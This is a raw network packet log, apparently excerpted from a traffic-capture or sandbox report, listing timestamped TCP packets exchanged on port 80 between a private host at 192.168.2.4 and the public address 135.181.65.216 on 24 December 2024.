Dec 24, 2024 22:27:17.407779932 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.407794952 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.408051968 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.408092022 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.408544064 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.408585072 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.408612013 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.408622980 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.408651114 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.408663988 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.408829927 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.408869028 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.409372091 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.409410954 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.409439087 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.409450054 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.409481049 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.409493923 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.409657001 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.409698009 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.410204887 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.410245895 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.410311937 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.410322905 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.410353899 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.410367966 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.410553932 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.410593987 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.411045074 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.411099911 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.411137104 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.411149979 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.411179066 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.411189079 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.411529064 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.411570072 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.411892891 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.411933899 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.412007093 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.412019014 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.412048101 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.412060976 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.412252903 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.412291050 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.412781000 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.412822008 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.412862062 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.412873030 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.412902117 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.412914038 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.413119078 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.413158894 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.413650990 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.413690090 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.413726091 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.413737059 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.413762093 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.413775921 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.413971901 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.414010048 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.414484978 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.414522886 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.414577007 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.414587975 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.414618015 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.414630890 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.414838076 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.414879084 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.415384054 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.415394068 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.415421963 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.415435076 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.415515900 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.415532112 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.415563107 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.415575981 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.450859070 CET	80	49723	199.232.214.172	192.168.2.4
Dec 24, 2024 22:27:17.450942993 CET	49723	80	192.168.2.4	199.232.214.172
Dec 24, 2024 22:27:17.586066008 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.586175919 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.586179018 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.586190939 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.586218119 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.586235046 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.586473942 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.586522102 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.706043005 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.706064939 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.706140995 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.706337929 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.706362963 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.706392050 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.706422091 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.825493097 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.825516939 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.825532913 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.825547934 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.825562954 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.825578928 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.825579882 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.825625896 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.825939894 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.825957060 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.825972080 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.825989008 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.826003075 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.826005936 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.826018095 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.826046944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.826879978 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.826896906 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.826911926 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.826926947 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.826931953 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.826941967 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.826956034 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.826957941 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.826981068 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.827003956 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.827775002 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.827791929 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.827815056 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.827828884 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.827830076 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.827835083 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.827847004 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.827858925 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.827877045 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.827889919 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.828732014 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.828748941 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.828763962 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.828778028 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.828782082 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.828793049 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.828800917 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.828810930 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.828816891 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.828841925 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.829668045 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.829684973 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.829699993 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.829715967 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.829716921 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.829731941 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.829742908 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.829768896 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.830606937 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.830629110 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.830642939 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.830657959 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.830658913 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.830673933 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.830682039 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.830693007 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.830705881 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.830734015 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.831545115 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.831568956 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.831583977 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.831593037 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.831599951 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.831614017 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.831619024 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.831645012 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.831665993 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.832387924 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.832405090 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.832438946 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.832448959 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.832623005 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.832647085 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.832660913 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.832669973 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.832675934 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.832688093 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.832691908 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.832698107 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.832724094 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.832745075 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.833604097 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.833620071 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.833636045 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.833651066 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.833653927 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.833664894 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.833672047 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.833683014 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.833687067 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.833709002 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.833734989 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.834528923 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.834544897 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.834578037 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.834589005 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.834604979 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.834614992 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.834619999 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.834634066 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.834652901 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.834664106 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.835444927 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.835462093 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.835479021 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.835494041 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.835494995 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.835506916 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.835515976 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.835524082 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.835532904 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.835553885 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.835577965 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.836436987 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.836452961 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.836467028 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.836483002 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.836498022 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.836503029 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.836528063 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.836548090 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.837317944 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.837335110 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.837349892 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.837364912 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.837369919 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.837379932 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.837388992 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.837395906 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.837409973 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.837435007 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.838407040 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.838423014 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.838438988 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.838454962 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.838469982 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.838470936 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.838484049 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.838512897 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.839243889 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.839260101 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.839274883 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.839291096 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.839292049 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.839306116 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.839319944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.839332104 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.839339972 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.839535952 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.840080976 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.840097904 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.840112925 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.840130091 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.840131998 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.840148926 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.840152025 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.840166092 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.840176105 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.840188980 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.840218067 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.840976954 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.841001034 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.841016054 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.841042042 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.841042042 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.841056108 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.841067076 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.841083050 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.841098070 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.841105938 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.841114044 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.841125965 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.841137886 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.841157913 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.841943026 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.841967106 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.841983080 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.841990948 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.842000008 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.842011929 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.842015982 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.842025995 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.842044115 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.842048883 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.842914104 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.842930079 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.842945099 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.842961073 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.842974901 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.842991114 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.842993975 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.843015909 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.843040943 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.843837976 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.843853951 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.843869925 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.843883991 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.843887091 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.843899965 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.843905926 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.843914986 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.843941927 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.844712973 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.844739914 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.844755888 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.844763041 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.844772100 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.844782114 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.844786882 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.844794989 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.844803095 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.844810963 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.844831944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.844847918 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.845690012 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.845705986 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.845727921 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.845741034 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.845743895 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.845755100 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.845762014 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.845766068 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.845799923 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.845818996 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.846657038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.846673012 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.846688032 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.846703053 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.846705914 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.846718073 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.846724987 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.846735001 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.846740961 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.846764088 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.846786976 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.847534895 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.847552061 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.847567081 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.847582102 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.847582102 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.847598076 CET	80	49749	135.181.65.216	192.168.2.4
